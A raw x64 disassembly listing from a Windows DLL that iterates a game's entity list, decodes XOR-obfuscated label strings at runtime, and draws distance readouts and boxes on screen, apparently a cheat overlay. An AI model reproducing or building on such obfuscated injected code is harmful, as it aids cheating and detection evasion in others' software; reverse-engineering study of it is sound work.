nop dword [rax]
mov rax, qword [r13 + 8]
mov edx, r15d
imul edx, dword [r13 + 0x14]
movzx ecx, byte [rax + r12]
and ecx, 0x80
add rdx, qword [r13]
neg rcx
sar rcx, 0x3f
not rcx
and rdx, rcx
je 0x180098dae
mov rax, qword [0x18023ffd0]
mov r8, qword [rax + rdx]
test r8, r8
je 0x180098dae
mov rax, qword [0x18023fff0]
mov r9, qword [0x18023d5e0]
mov r8d, dword [rax + r8]
mov eax, r8d
shr eax, 8
movzx edx, al
movzx eax, r8b
xor rax, r11
imul rax, r10
xor rdx, rax
mov eax, r8d
imul rdx, r10
shr eax, 0x10
movzx ecx, al
mov eax, r8d
xor rdx, rcx
shr rax, 0x18
mov rcx, qword [r9 + 0x30]
imul rdx, r10
xor rdx, rax
imul rdx, r10
and rcx, rdx
mov rdx, qword [r9 + 0x18]
add rcx, rcx
mov rax, qword [rdx + rcx*8 + 8]
cmp rax, qword [r9 + 8]
je 0x180098c11
mov rdx, qword [rdx + rcx*8]
cmp r8d, dword [rax + 0x10]
je 0x180098c14
cmp rax, rdx
je 0x180098c11
mov rax, qword [rax + 8]
cmp r8d, dword [rax + 0x10]
jne 0x180098c00
jmp 0x180098c14
mov rax, rsi
test rax, rax
jne 0x180098c1d
mov rax, qword [r9 + 8]
cmp rax, qword [r9 + 8]
je 0x180098c33
cmp qword [rax + 0x30], 0xf
lea r14, [rax + 0x18]
jbe 0x180098c3a
mov r14, qword [r14]
jmp 0x180098c3a
lea r14, [0x1801b5248]
mov edx, r8d
lea rcx, [rbp + 0x2aa0]
call fcn.1800ded80
xorps xmm0, xmm0
mov qword [rbp + 0x2ad0], rsi
movups xmmword [rbp + 0x2ac0], xmm0
lea r8, [rbp + 0x2ac0]
mov byte [rbp + 0x2ac0], sil
mov rdx, r14
mov qword [rbp + 0x2ad8], reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x2ae0]
mov rdi, rax
call fcn.180054640
mov r8d, 5
lea rdx, str._ID:
mov rcx, rax
call fcn.180072550
mov qword [rbp + 0x2b10], rsi
lea r8, [rbp + 0x2b00]
mov qword [rbp + 0x2b18], rsi
lea rcx, [rbp + 0x2ed0]
xorps xmm0, xmm0
mov r9, rdi
movups xmmword [rbp + 0x2b00], xmm0
movzx edx, bl
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2b00], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2b10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], sil
call fcn.180063350
lea rcx, [rbp + 0x2b00]
call fcn.180068b30
lea rcx, [rbp + 0x2ae0]
call fcn.180068b30
lea rcx, [rbp + 0x2ac0]
call fcn.180068b30
lea rcx, [rbp + 0x2aa0]
call fcn.180068b30
cmp qword [rbp + 0x2ee8], 0xf
lea rcx, [rbp + 0x2ed0]
lea rdx, [0x1802403e0]
cmova rcx, qword [rbp + 0x2ed0]
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x180098d8e
cmp dword [0x18023d944], r15d
lea rcx, [rbp + 0x2ed0]
lea r9, [rbp + 0x8a0]
mov dword [rbp + 0x8a0], esi
sete dl
mov dword [rbp + 0x8a4], esi
cmp qword [rbp + 0x2ee8], 0xf
cmova rcx, qword [rbp + 0x2ed0]
xor r8d, r8d
call fcn.180008210
test al, al
je 0x180098d8e
mov dword [0x18023d944], r15d
lea rcx, [rbp + 0x2ed0]
call fcn.180068b30
movabs r10, 0x100000001b3
movabs r11, 0xcbf29ce484222325
inc r15d
inc r12
cmp r15d, dword [r13 + 0x10]
jb 0x180098b50
mov r12d, dword [reloc.WS2_32.dll_accept]
mov r13, 0xffffffffffffffff
call fcn.180013c40
call fcn.180006b10
call fcn.180013c40
movsxd r8, dword [0x18023d944]
cmp r8d, 0xffffffff
je 0x1800999ac
mov rax, qword [0x18023ff60]
mov dword [0x18023d958], r8d
mov r9, qword [rax]
test r9, r9
je 0x1800999b3
mov ebx, dword [r9 + 0x14]
lea r15, [0x18023d940]
mov rax, qword [r9 + 8]
imul ebx, r8d
movzx edx, byte [rax + r8]
and edx, 0x80
add rbx, qword [r9]
neg rdx
sar rdx, 0x3f
not rdx
and rbx, rdx
je 0x1800999ba
mov rax, qword [0x18023ffd0]
mov rdx, qword [rbx + rax]
test rdx, rdx
je 0x1800999ba
mov rax, qword [0x18023fff0]
xor r9d, r9d
xor r8d, r8d
mov rcx, r15
mov edx, dword [rdx + rax]
call fcn.1800adcb0
cvttss2si edx, dword [rbx + 0x280]
lea rcx, [rbp + 0x2b20]
mov r14, rax
call fcn.1800ded80
movzx ecx, byte [0x1801b7f40]
lea rdx, [rbp + 0xd60]
movsd xmm0, qword [str.zVUYB_]
xor cl, 0x3a
movsd qword [rbp + 0xd60], xmm0
mov r8, rax
xor byte [rbp + 0xd61], 0x33
xor byte [rbp + 0xd62], 0x34
xor byte [rbp + 0xd63], 0x35
xor byte [rbp + 0xd64], 0x36
xor byte [rbp + 0xd65], 0x37
xor byte [rbp + 0xd66], 0x38
xor byte [rbp + 0xd67], 0x39
mov byte [rbp + 0xd68], cl
lea rcx, [rbp + 0x2f70]
mov byte [rbp + 0xd60], 0x48
call fcn.180054640
lea rcx, [rbp + 0x2b20]
call fcn.180068b30
mov rax, qword [0x180240000]
lea rcx, [rbp + 0x2b40]
cvttss2si edx, dword [rax + rbx]
call fcn.1800ded80
cmp byte [str.9qFFGSYL], sil
mov r10, rax
mov rcx, qword [str.sAYZD_r]
mov qword [rbp + 0x8a8], rcx
je 0x180099060
cmp r12d, 2
jl 0x180099020
movdqa xmm6, xmmword [0x1801bab60]
movdqa xmm7, xmmword [rbp + 0x1de0]
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm6
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
movd eax, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x8a8]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x8a8], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x8ac]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x8ac], xmm2
jmp 0x180099070
lea r9, [rbp + 0x8a8]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x180099030
movdqa xmm7, xmmword [rbp + 0x1de0]
movdqa xmm6, xmmword [0x1801bab60]
mov r8, r10
lea rdx, [rbp + 0x8a8]
lea rcx, [rbp + 0x2f30]
call fcn.180054640
lea rcx, [rbp + 0x2b40]
call fcn.180068b30
cmp byte [0x1801b7f67], sil
movups xmm0, xmmword [0x1801b7f50]
movups xmmword [rbp + 0x25f8], xmm0
movsd xmm0, qword [0x1801b7f60]
movsd qword [rbp + 0x2608], xmm0
je 0x180099210
cmp r12d, 2
jl 0x1800991cb
movdqa xmmword [rsp + 0x60], xmm7
lea rcx, [rbp + 0x25fc]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x18
jl 0x1800990e0
jmp 0x180099210
lea r9, [rbp + 0x25f8]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x1800991e0
lea rdx, [rbp + 0x25f8]
lea rcx, [rbp + 0x2f90]
call fcn.180063310
mov rax, qword [0x18023ffd8]
mov rcx, qword [rbx + rax]
test rcx, rcx
je 0x18009940d
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x18009940d
mov edx, dword [rax + 0x10]
mov rcx, r15
call fcn.1800aa100
mov rdx, rax
lea rcx, [rbp + 0x2b60]
call fcn.180063310
movzx ecx, byte [0x1801b7f78]
mov r10, rax
mov byte [rbp + 0x1ed0], cl
mov r8d, esi
movups xmm0, xmmword [0x1801b7f68]
movups xmmword [rbp + 0x1ec0], xmm0
cmp r12d, 2
jl 0x180099391
movdqa xmmword [rsp + 0x60], xmm7
lea rcx, [rbp + 0x1ec4]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800992a0
cmp r8d, 0x11
jge 0x1800993d0
movsxd rax, r8d
lea r9, [rbp + 0x1ec0]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1800993a0
mov r8, r10
lea rdx, [rbp + 0x1ec0]
lea rcx, [rbp + 0x2b80]
call fcn.180054640
mov rdx, rax
lea rcx, [rbp + 0x2f90]
call fcn.1800693b0
lea rcx, [rbp + 0x2b80]
call fcn.180068b30
lea rcx, [rbp + 0x2b60]
call fcn.180068b30
mov rax, qword [0x18023d4d0]
movsd xmm0, qword [rax + 0x90]
movaps xmm2, xmm0
movsd qword [rsp + 0x48], xmm0
movaps xmm1, xmm0
shufps xmm2, xmm2, 0x55
subss xmm2, dword [rbx + 0x94]
movss xmm0, dword [rax + 0x98]
subss xmm0, dword [rbx + 0x98]
subss xmm1, dword [rbx + 0x90]
mulss xmm2, xmm2
mulss xmm0, xmm0
mulss xmm1, xmm1
addss xmm2, xmm1
addss xmm2, xmm0
xorps xmm0, xmm0
ucomiss xmm0, xmm2
ja 0x180099471
xorps xmm0, xmm0
sqrtss xmm0, xmm2
jmp 0x180099479
movaps xmm0, xmm2
call sub.api_ms_win_crt_math_l1_1_0.dll_sqrtf
cvttss2si edx, xmm0
lea rcx, [rbp + 0x2ba0]
call fcn.1800ded80
movzx edx, word [0x1801b7f88]
mov r8, rax
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd xmm0, qword [str.vZGAWY__]
xor cl, 0x3c
movsd qword [rbp + 0x1170], xmm0
xor byte [rbp + 0x1171], 0x33
xor byte [rbp + 0x1172], 0x34
xor byte [rbp + 0x1173], 0x35
xor byte [rbp + 0x1174], 0x36
xor byte [rbp + 0x1175], 0x37
xor byte [rbp + 0x1176], 0x38
xor byte [rbp + 0x1177], 0x39
mov word [rbp + 0x1178], dx
xor dl, 0x3a
xor byte [rbp + 0x1179], 0x3b
mov byte [rbp + 0x1178], dl
lea rdx, [rbp + 0x1170]
mov byte [rbp + 0x117a], cl
lea rcx, [rbp + 0x2ef0]
mov byte [rbp + 0x1170], 0x44
call fcn.180054640
lea rcx, [rbp + 0x2ba0]
call fcn.180068b30
call fcn.180016e00
movss xmm6, dword [0x1801a189c]
lea rcx, [rbp + 0x2db0]
xor r9d, r9d
movss dword [rsp + 0x20], xmm6
xor r8d, r8d
mov rdx, r14
mov rbx, rax
call fcn.180011680
cmp qword [rbp + 0x2f88], 0xf
lea rdx, [rbp + 0x2f70]
lea rcx, [rbp + 0x2db8]
movss dword [rsp + 0x20], xmm6
cmova rdx, qword [rbp + 0x2f70]
xor r9d, r9d
xor r8d, r8d
call fcn.180011680
cmp qword [rbp + 0x2f48], 0xf
lea rdx, [rbp + 0x2f30]
lea rcx, [rbp + 0x2dc0]
movss dword [rsp + 0x20], xmm6
cmova rdx, qword [rbp + 0x2f30]
xor r9d, r9d
xor r8d, r8d
call fcn.180011680
cmp qword [rbp + 0x2fa8], 0xf
lea rdx, [rbp + 0x2f90]
lea rcx, [rbp + 0x2dc8]
movss dword [rsp + 0x20], xmm6
cmova rdx, qword [rbp + 0x2f90]
xor r9d, r9d
xor r8d, r8d
call fcn.180011680
cmp qword [rbp + 0x2f08], 0xf
lea rdx, [rbp + 0x2ef0]
lea rcx, [rbp + 0x2dd0]
movss dword [rsp + 0x20], xmm6
cmova rdx, qword [rbp + 0x2ef0]
xor r9d, r9d
xor r8d, r8d
call fcn.180011680
movss xmm4, dword [rbp + 0x2dc8]
movss xmm1, dword [rbp + 0x2dc0]
movaps xmm0, xmm4
maxss xmm0, dword [rbp + 0x2dd0]
comiss xmm1, xmm0
jbe 0x18009962d
movaps xmm3, xmm1
jmp 0x180099630
movaps xmm3, xmm0
movss xmm2, dword [rbp + 0x2db8]
comiss xmm2, xmm3
jbe 0x180099642
movaps xmm3, xmm2
jmp 0x18009964f
comiss xmm1, xmm0
jbe 0x18009964c
movaps xmm3, xmm1
jmp 0x18009964f
movaps xmm3, xmm0
movss xmm6, dword [rbp + 0x2db0]
comiss xmm6, xmm3
ja 0x180099680
comiss xmm1, xmm0
jbe 0x180099666
movaps xmm3, xmm1
jmp 0x180099669
movaps xmm3, xmm0
comiss xmm2, xmm3
jbe 0x180099673
movaps xmm6, xmm2
jmp 0x180099680
comiss xmm1, xmm0
jbe 0x18009967d
movaps xmm6, xmm1
jmp 0x180099680
movaps xmm6, xmm0
movss xmm7, dword [0x1801a1808]
movss xmm8, dword [0x1801baaf4]
addss xmm6, xmm7
movaps xmm0, xmm6
subss xmm0, xmm7
comiss xmm4, xmm0
jbe 0x1800996aa
movss xmm8, dword [0x1801baaf8]
movss xmm0, dword [rbx + 8]
minss xmm8, dword [0x1801a1880]
subss xmm0, xmm6
mov dword [rbp + 0x2d94], 0x41a00000
subss xmm0, xmm7
movss dword [rbp + 0x2d90], xmm0
call fcn.1800164a0
movss xmm1, dword [rbp + 0x2d94]
lea r8, [rbp + 0x8e0]
movss xmm0, dword [rbp + 0x2d90]
addss xmm1, xmm8
addss xmm0, xmm6
mov dword [rsp + 0x28], esi
xorps xmm8, xmm8
lea rdx, [rbp + 0x2d90]
mov r9d, 0xc81e1e1e
movss dword [rsp + 0x20], xmm8
mov rcx, rax
mov rdi, rax
movss dword [rbp + 0x8e4], xmm1
movss dword [rbp + 0x8e0], xmm0
call fcn.18002e4d0
movdqa xmm0, xmmword [0x1801a1990]
lea rcx, [rbp + 0x1ce0]
movss xmm1, dword [0x1801a17bc]
movups xmmword [rbp + 0x1ce0], xmm0
call fcn.180016660
movss xmm0, dword [rbp + 0x2d94]
lea rdx, [rbp + 0x8e8]
movaps xmm1, xmm6
mov qword [rsp + 0x20], rsi
subss xmm1, dword [rbp + 0x2db0]
addss xmm0, xmm11
mov r9, r14
mov r8d, eax
mov rcx, rdi
mov ebx, eax
mulss xmm1, dword [0x1801a17b8]
movss dword [rbp + 0x8ec], xmm0
addss xmm1, dword [rbp + 0x2d90]
movss dword [rbp + 0x8e8], xmm1
call fcn.180030f40
movss xmm1, dword [rbp + 0x2d90]
lea r8, [rbp + 0x2de0]
movss xmm2, dword [rbp + 0x2d94]
lea rdx, [rbp + 0x2dd8]
addss xmm2, dword [0x1801a7f2c]
movaps xmm0, xmm1
mov r9d, ebx
addss xmm0, xmm11
mov rcx, rdi
addss xmm1, xmm6
movss dword [rbp + 0x2ddc], xmm2
movss dword [rbp + 0x2de4], xmm2
movss dword [rbp + 0x2dd8], xmm0
movss xmm0, dword [0x1801a17bc]
subss xmm1, xmm11
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0x2de0], xmm1
call fcn.18002d3d0
movss xmm0, dword [rbp + 0x2d90]
lea r9, [rbp + 0x2f70]
movss xmm6, dword [rbp + 0x2d94]
addss xmm0, xmm11
addss xmm6, dword [0x1801a1834]
cmp qword [rbp + 0x2f88], 0xf
lea rdx, [rbp + 0x900]
mov r8d, ebx
mov qword [rsp + 0x20], rsi
cmova r9, qword [rbp + 0x2f70]
mov rcx, rdi
movss dword [rbp + 0x900], xmm0
movss dword [rbp + 0x904], xmm6
call fcn.180030f40
movss xmm0, dword [rbp + 0x2d90]
lea r9, [rbp + 0x2f30]
cmp qword [rbp + 0x2f48], 0xf
addss xmm0, xmm11
movaps xmm1, xmm6
cmova r9, qword [rbp + 0x2f30]
movss dword [rbp + 0x908], xmm0
addss xmm1, xmm7
mov qword [rsp + 0x20], rsi
mov r8d, ebx
lea rdx, [rbp + 0x908]
mov rcx, rdi
movss dword [rbp + 0x90c], xmm1
call fcn.180030f40
movss xmm0, dword [rbp + 0x2d90]
lea r9, [rbp + 0x2f90]
cmp qword [rbp + 0x2fa8], 0xf
addss xmm0, xmm11
movaps xmm1, xmm6
mov qword [rsp + 0x20], rsi
addss xmm1, dword [0x1801a1834]
cmova r9, qword [rbp + 0x2f90]
lea rdx, [rbp + 0x910]
mov r8d, ebx
mov rcx, rdi
movss dword [rbp + 0x910], xmm0
movss dword [rbp + 0x914], xmm1
call fcn.180030f40
movss xmm0, dword [rbp + 0x2d90]
lea r9, [rbp + 0x2ef0]
addss xmm6, dword [0x1801a7f30]
cmp qword [rbp + 0x2f08], 0xf
addss xmm0, xmm11
mov r8d, ebx
mov qword [rsp + 0x20], rsi
cmova r9, qword [rbp + 0x2ef0]
lea rdx, [rbp + 0x918]
mov rcx, rdi
movss dword [rbp + 0x91c], xmm6
movss dword [rbp + 0x918], xmm0
call fcn.180030f40
lea rcx, [rbp + 0x2ef0]
call fcn.180068b30
lea rcx, [rbp + 0x2f90]
call fcn.180068b30
lea rcx, [rbp + 0x2f30]
call fcn.180068b30
lea rcx, [rbp + 0x2f70]
call fcn.180068b30
mov r8d, dword [0x18023d958]
movss xmm7, dword [0x1801baa40]
jmp 0x1800999be
mov r8d, dword [0x18023d958]
lea r15, [0x18023d940]
xorps xmm8, xmm8
cmp byte [reloc.WS2_32.dll_accept], sil
je 0x180099cbf
mov rax, qword [0x18023ff60]
mov r9, qword [rax]
test r9, r9
je 0x180099cbf
mov r14d, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul r14d, r8d
movsxd rcx, r8d
movzx edx, byte [rax + rcx]
add r14, qword [r9]
and edx, 0x80
neg rdx
sar rdx, 0x3f
not rdx
and r14, rdx
je 0x180099cbf
call fcn.1800177c0
mulsd xmm0, xmm10
mov edi, esi
cvtsd2ss xmm0, xmm0
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
movss xmm14, dword [0x1801a7edc]
movaps xmm15, xmm0
addss xmm15, dword [0x1801a17c4]
mulss xmm15, dword [0x1801a17b8]
lea eax, [rdi + 1]
movd xmm12, edi
cvtdq2ps xmm12, xmm12
lea rdx, [rsp + 0x48]
mov r9d, 1
mov r8, r14
mov rcx, r15
movd xmm13, eax
cvtdq2ps xmm13, xmm13
mulss xmm12, xmm11
mulss xmm13, xmm11
mulss xmm12, xmm7
mulss xmm13, xmm7
call fcn.1800a9820
mov eax, dword [r14 + 0x98]
movaps xmm0, xmm12
movsd xmm6, qword [r14 + 0x90]
mov dword [rbp + 0x160], eax
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
movss xmm11, dword [rsp + 0x50]
movaps xmm10, xmm0
mulss xmm10, xmm15
movaps xmm7, xmm6
movaps xmm9, xmm11
shufps xmm7, xmm7, 0x55
movaps xmm0, xmm13
movsd qword [rbp + 0x158], xmm6
addss xmm10, xmm7
addss xmm9, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
addss xmm11, dword [0x1801ad05c]
movaps xmm8, xmm0
movaps xmm0, xmm12
mulss xmm8, xmm15
addss xmm8, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_cosf
mulss xmm0, xmm15
lea r8, [rbp + 0x1600]
lea rdx, [rbp + 0x2de8]
mov rcx, r15
movss dword [rbp + 0x1604], xmm10
movss dword [rbp + 0x1608], xmm9
addss xmm0, dword [rbp + 0x158]
movss dword [rbp + 0x1600], xmm0
call fcn.1800df390
movaps xmm0, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_cosf
mulss xmm0, xmm15
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x2df0]
mov rcx, r15
movss dword [rsp + 0x64], xmm8
movss dword [rsp + 0x68], xmm11
addss xmm0, dword [rbp + 0x158]
movss dword [rsp + 0x60], xmm0
call fcn.1800df390
movss xmm3, dword [rbp + 0x2de8]
xorps xmm8, xmm8
comiss xmm3, xmm8
jb 0x180099c46
movss xmm0, dword [rbp + 0x2dec]
comiss xmm0, xmm8
jb 0x180099c46
movss xmm1, dword [rbp + 0x2df0]
comiss xmm1, xmm8
jb 0x180099c46
movss xmm2, dword [rbp + 0x2df4]
comiss xmm2, xmm8
jb 0x180099c46
comiss xmm3, xmm14
jb 0x180099c46
comiss xmm0, xmm14
jb 0x180099c46
mov rax, qword [0x18023ffb8]
movss xmm4, dword [rax]
comiss xmm4, xmm3
jb 0x180099c46
movss xmm3, dword [rax + 4]
comiss xmm3, xmm0
jb 0x180099c46
comiss xmm1, xmm14
jb 0x180099c46
comiss xmm2, xmm14
jb 0x180099c46
comiss xmm4, xmm1
jb 0x180099c46
comiss xmm3, xmm2
jb 0x180099c46
call fcn.1800164a0
movdqa xmm0, xmmword [0x1801badd0]
lea rcx, [rbp + 0x1cf0]
movups xmmword [rbp + 0x1cf0], xmm0
mov rbx, rax
call fcn.180012540
movss xmm0, dword [0x1801a17c4]
lea r8, [rbp + 0x2df0]
mov r9d, eax
movss dword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x2de8]
mov rcx, rbx
call fcn.18002d3d0
movss xmm7, dword [0x1801baa40]
inc edi
movss xmm11, dword [0x1801a17f0]
cmp edi, 0x24
jl 0x180099a41
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x930]
addss xmm0, dword [0x1801baad8]
mov dword [rbp + 0x930], 0x44070000
movss dword [rbp + 0x934], xmm0
call fcn.1800255f0
movdqa xmm14, xmmword [0x1801bac50]
movss xmm9, dword [0x1801a7f44]
movdqa xmm12, xmmword [0x1801babe0]
movdqa xmm13, xmmword [0x1801bab80]
movdqa xmm15, xmmword [0x1801bab70]
jmp 0x180099ced
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x930]
addss xmm0, dword [0x1801baad8]
mov dword [rbp + 0x930], 0x44070000
movss dword [rbp + 0x934], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b7f8c]
lea rdx, [rbp + 0x938]
mov dword [rbp + 0x298], eax
lea rcx, [rbp + 0x298]
movzx eax, word [0x1801b7f90]
mov r9d, 8
xor byte [rbp + 0x299], 0x33
xor r8d, r8d
xor byte [rbp + 0x29a], 0x34
xor byte [rbp + 0x29b], 0x35
mov word [rbp + 0x29c], ax
movzx eax, byte [0x1801b7f92]
xor byte [rbp + 0x29c], 0x36
xor al, 0x38
xor byte [rbp + 0x29d], 0x37
mov byte [rbp + 0x29e], al
mov dword [rbp + 0x93c], 0x4405c000
mov dword [rbp + 0x938], 0x43a00000
mov byte [rbp + 0x298], Ordinal_79
call fcn.18000fbb0
movzx eax, byte [0x1801b7fa0]
lea rdx, [rbp + 0x940]
movsd xmm0, qword [0x1801b7f98]
lea rcx, [rbp + 0xd80]
movsd qword [rbp + 0xd80], xmm0
xor al, 0x3a
xor byte [rbp + 0xd81], 0x33
xor r9d, r9d
xor byte [rbp + 0xd82], 0x34
mov r8b, 1
xor byte [rbp + 0xd83], 0x35
xor byte [rbp + 0xd84], 0x36
xor byte [rbp + 0xd85], 0x37
xor byte [rbp + 0xd86], 0x38
xor byte [rbp + 0xd87], 0x39
mov byte [rbp + 0xd88], al
mov dword [rbp + 0x940], 0x43a00000
mov dword [rbp + 0x944], 0x43ed8000
mov byte [rbp + 0xd80], 0x53
call fcn.180003bf0
lea rcx, [rbp + 0x948]
call fcn.180016730
lea rdx, [rbp + 0x950]
lea rcx, [rbp + 0xe60]
movss xmm0, dword [rax]
movzx eax, byte [0x1801b7fb0]
movss dword [rbp + 0x950], xmm0
xor al, 0x3a
movsd xmm0, qword [0x1801b7fa8]
movsd qword [rbp + 0xe60], xmm0
xor byte [rbp + 0xe61], 0x33
xor byte [rbp + 0xe62], 0x34
xor byte [rbp + 0xe63], 0x35
xor byte [rbp + 0xe64], 0x36
xor byte [rbp + 0xe65], 0x37
xor byte [rbp + 0xe66], 0x38
xor byte [rbp + 0xe67], 0x39
mov byte [rbp + 0xe60], 0x54
mov dword [rbp + 0x954], 0x42200000
mov byte [rbp + 0xe68], al
call fcn.180002b60
test al, al
je 0x180099f20
mov r9, qword [0x18023d4d0]
test r9, r9
je 0x180099f20
mov rax, qword [0x18023ff60]
mov r8, qword [rax]
test r8, r8
je 0x180099f20
movsxd r10, dword [0x18023d958]
mov rax, qword [r8 + 8]
movzx edx, byte [rax + r10]
and edx, 0x80
neg rdx
sar rdx, 0x3f
not rdx
test rdx, rdx
je 0x180099f20
mov ecx, dword [r8 + 0x14]
imul ecx, r10d
add rcx, qword [r8]
and rcx, rdx
je 0x180099f20
movsd xmm0, qword [rcx + 0x90]
movsd qword [rsp + 0x60], xmm0
cmp qword [r9 + 0xd0], rsi
je 0x180099f20
movss xmm3, dword [rcx + 0x98]
mov rcx, r9
movss xmm2, dword [rsp + 0x64]
movss xmm1, dword [rsp + 0x60]
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 1
call qword [0x1802400e0]
call fcn.180016870
movss xmm7, dword [0x1801a17d4]
addss xmm0, xmm7
call fcn.180025690
mov rax, qword [0x18023ff60]
mov r8, qword [rax]
test r8, r8
je 0x18009a387
movsxd r9, dword [0x18023d958]
mov rax, qword [r8 + 8]
movzx edx, byte [rax + r9]
and edx, 0x80
neg rdx
sar rdx, 0x3f
not rdx
test rdx, rdx
je 0x18009a431
mov ecx, dword [r8 + 0x14]
imul ecx, r9d
add rcx, qword [r8]
and rcx, rdx
je 0x18009a431
mov rax, qword [0x18023ffd0]
mov rdx, qword [rcx + rax]
test rdx, rdx
je 0x18009a2dd
mov rax, qword [0x18023fff0]
xor r9d, r9d
xor r8d, r8d
mov rcx, r15
mov edi, dword [rdx + rax]
xor eax, eax
mov edx, edi
mov qword [rbp + 0x158], rax
